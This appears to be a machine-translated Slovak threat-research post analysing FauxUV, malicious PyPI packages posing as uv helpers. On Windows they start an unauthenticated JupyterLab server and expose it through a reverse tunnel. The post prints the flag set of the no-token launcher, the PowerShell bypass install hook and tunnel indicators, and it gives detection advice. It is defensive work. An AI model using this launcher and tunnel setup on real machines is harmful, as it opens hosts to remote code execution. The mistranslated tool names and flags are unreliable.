TL; DR
Klaster balíkov PyPI si požičal názov uv, rýchly a nesmierne populárny správca balíkov Pythonu založený na Ruste, sa vydávajú za pomocníkov UV. Neponúkajú takmer žiadnu skutočnú funkcionalitu. Namiesto toho obsahujú len užitočné zaťaženie pre Windows, ktoré obstojí Server JupyterLab s vypnutým overovaním a v novších verziách ho publikuje na verejnom internete prostredníctvom reverzného tunela.
To je celý príbeh v jednej vete: názov dôveryhodného nástroja ako návnada a JupyterLab ako nástroj na vzdialené vykonávanie kódu. Server Jupyter spustí akýkoľvek kód, ktorý zadáte do notebook bunka; jedna spustená s prázdnym tokenom a prepojená s každým sieťovým rozhraním je otvorený interpreter, ktorý môže ovládať ktokoľvek, kto má prístup k portu.
Klaster sledujeme ako Falošné UVDva preskúmané balíky sú moon-uv (0.0.1 – 0.0.16) a my-magic-uv-helper (0.0.1), publikovaný tým istým operátorom a aktívny na PyPI v čase analýzy.
| ekosystém | PyPI |
| Balíčky | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Zamerané na platformu | Windows |
| Základné správanie | Neoverený server JupyterLab, publikovaný na internete cez reverzný tunel |
| Zneužívanie legitímnych nástrojov | uv, JupyterLab, cloudflared, Pinggy |
Lákadlo: meno, ktorému už dôverujete
uv je jedným z najinštalovanejších nástrojov Pythonu za posledné dva roky, takže „pomocník pre uv„je balík, ktorý vývojár nainštaluje bez váhania. FauxUV si svoju dôveryhodnosť zakladá výlučne na tomto názve. Balíky obalujú originálne uv inštalátor od spoločnosti Astral – adresy URL v obsahu odkazujú na skutočných, renomovaných hostiteľov – takže rýchly pohľad nevidí nič iné ako dôveryhodné odkazy. Žiaden z balíkov v skutočnosti nepridáva uv funkčnosť; názov je celým maskovaním.
JupyterLab ako engine RCE
Ústredným prvkom užitočného zaťaženia je spúšťač, ktorý spustí JupyterLab po odstránení všetkých ochranných líšt:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Každý príznak odstraňuje ochranu a dodaný skript ich dokonca anotuje (v pôvodnej čínštine): prázdny token „vypne kontrolu hesla a tokenu – pripojiť sa môže ktokoľvek.“ jupyter laboratórium je legitímne IDE pre dátovú vedu, ale nieebook bunka vykonáva ľubovoľný kód zámerne. Nakonfigurované týmto spôsobom a prepojené s 0.0.0.0, prestáva byť IDE a stáva sa neovereným vzdialeným shellom na hostiteľovi – nevyžaduje sa žiadny vlastný binárny súbor malvéru, iba mainstreamový nástroj nasmerovaný nesprávnym smerom.
Dva podporné prvky to robia dosiahnuteľným a opakovateľným:
- Spúšťač tichej inštalácie. Staršie verzie používajú PowerShell s - ExkurziaPolicy Bypass priamo z setup.py on pip nainštalovať, v pozadí s potlačenými chybami, takže jadro vyzerá normálne. Neskoršie verzie presúvajú ten istý primitív do pip-uv nástroj príkazového riadka – a úplne zrušte automatické spustenie pri inštalácii.
- Verejný spätný tunel. Server na 0.0.0.0 je stále dostupný iba pre hostiteľov, ktorí môžu smerovať na daný stroj. Pribalený modul otvára [Pinggy](https://pinggy.io/) SSH reverzný tunel, ktorý presmeruje lokálny port Jupyter na verejnú adresu, čím sa toto obmedzenie odstráni. Dodávaný skript tiež prenáša – zakomentovanú – alternatívnu cestu pomocou Cloudflare oblaky vzplanuli a netsh port-proxy na Linode IP, dokumentujúci rovnaký cieľ prostredníctvom inej infraštruktúry.
Dokopy: nainštalujte balík a hostiteľ so systémom Windows spustí JupyterLab bez hesla a publikuje ho na otvorenom internete.
Ako sa FauxUV vyvinul
Verzie FauxUV sa dodávali rýchlo po sebe a spúšťací bod užitočného zaťaženia sa medzi nimi pohyboval – pripomienka, že jedna označená verzia zriedkakedy vypovedá celý príbeh riadku balíka.
| Situácia | verzia | spúšť | Čo to pridáva |
|---|---|---|---|
| Install-hook | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py pri inštalácii PIP | uv install + PATH predpripravený |
| CLI runtime | moon-uv 0.0.5-0.0.13 | pip-uv povel | spúšťač JupyterLab bez hesla |
| Tunel | moon-uv 0.0.14-0.0.16 | pip-uv povel | aktívny reverzný tunel Pinggy |
Je pozoruhodné, že automatické spustenie počas inštalácie bolo odstránené v neskorších, výkonnejších verziách – takže skener sa aktivoval iba počas životného cyklu hooks by hodnotil novšie vydania ako menej riskantné, presne naopak.
Indikátory kompromisu
Potvrdené prečítaním zdrojového kódu balíka; koncové body označené komentoval sú prítomné v súboroch, ale analyzovaná verzia ich nespúšťa. Sieťové indikátory sú deaktivované.
| Typ | Indikátor |
|---|---|
| Inštalovať príkaz | powershell -ExecutionPolicy Bypass načítanie originálneho inštalátora UV počas inštalácie PIP |
| Vlajky JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Reverzný tunel (aktívny) | free[.]pinggy[.]io:443 presmerovanie lokálnych 127.0.0.1:8888 |
| Hostiteľ tunela (komentovaný) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (komentované) | 45[.]79[.]134[.]161 (Linode) cez netsh port-proxy |
| Vytrvalosť | pridáva na predponu %USERPROFILE%\.local\bin k používateľovi PATH |
Behaviorálne signály, na ktoré sa oplatí upozorniť, nezávisle od týchto presných reťazcov: a pip nainštalovať ktorý sa plodí powershell -Obídenie politiky vykonávaniaakýkoľvek jupyter kombinované spustenie token = „“ s –ip=0.0.0.0a odchádzajúci SSH do *.pinggy.io od vývojára alebo CI stroja.
Pozorované správanie a pôvod
Tieto dva balíky zdieľajú autora a metódu: názov dôveryhodného nástroja, hradlovanie iba pre Windows, potlačenie chýb pri vykonávaní na pozadí a spoliehanie sa na renomované nástroje, takže rýchly pohľad vidí iba renomované adresy URL. Zdroj obsahuje komentáre v čínštine, ktoré jasne opisujú príznaky relevantné z hľadiska bezpečnosti; v súbore ich uvádzame ako pozorovateľné vyhlásenia, nie ako tvrdenie o motíve. allow_origin hodnota a a colab.bat názov súboru odráža neformálne pracovné postupy „zdieľať môj lokálny runtime“, ktoré sa používajú pre Google Colab. Bez ohľadu na pôvod je výsledok balenia rovnaký.
Dopad a usmernenia pre obhajcov
Kto je vystavený FauxUV. Vývojári systému Windows a bežci CI, ktorí pip nainštalovať jeden z týchto balíkov. JupyterLab bez hesla na 0.0.0.0 je vzdialené spustenie kódu pre kohokoľvek, kto má prístup k portu; tunel odstraňuje limit „kto sa k nemu môže dostať“. Server beží ako inštalujúci používateľ a zdedí súbory, tokeny a cloudové prihlasovacie údaje tohto používateľa.
Prečo je ľahké to prehliadnuť. Každý sieťový reťazec odkazuje na renomovaného hostiteľa – Astral, JupyterLab, oblaky vzplanuli, Pinggy, Colab. Neexistuje žiadny binárny súbor malvéru na hašovanie ani žiadny obfuskovaný blob na dekódovanie. Skenovanie založené na reputácii a podpisoch to podceňuje, a preto je otázka správania... čo spôsobí, že počítač urobí po inštalácii tohto balíka — je ten, kto to chytí.
pokyny:
- Ošetrite akýkoľvek čas inštalácie powershell -Obídenie politiky vykonávania ako signál narušenia zostavenia, bez ohľadu na to, akú URL adresu načíta.
- Upozornenie zapnuté jupyter spustené s prázdnym tokenom a –ip=0.0.0.0; táto kombinácia by sa nikdy nemala objaviť na pracovnej stanici alebo bežcovi.
- Monitorovanie odchádzajúcich SSH k poskytovateľom tunelov (*.pinggy.io, *.trycloudflare.com) z prostredia vývojárov a CI.
- inštalovať uv z [jeho oficiálneho zdroja](https://docs.astral.sh/uv/) a buďte skeptickí voči „pomocným“ balíkom tretích strán, ktoré obalujú nástroj, ktorého inštalácia je už aj tak jednoduchá.
- Pripnúť a znova skontrolovať závislosti pri aktualizácii – riadok balíka môže rozširovať novú funkciu o jednu verziu za druhou.



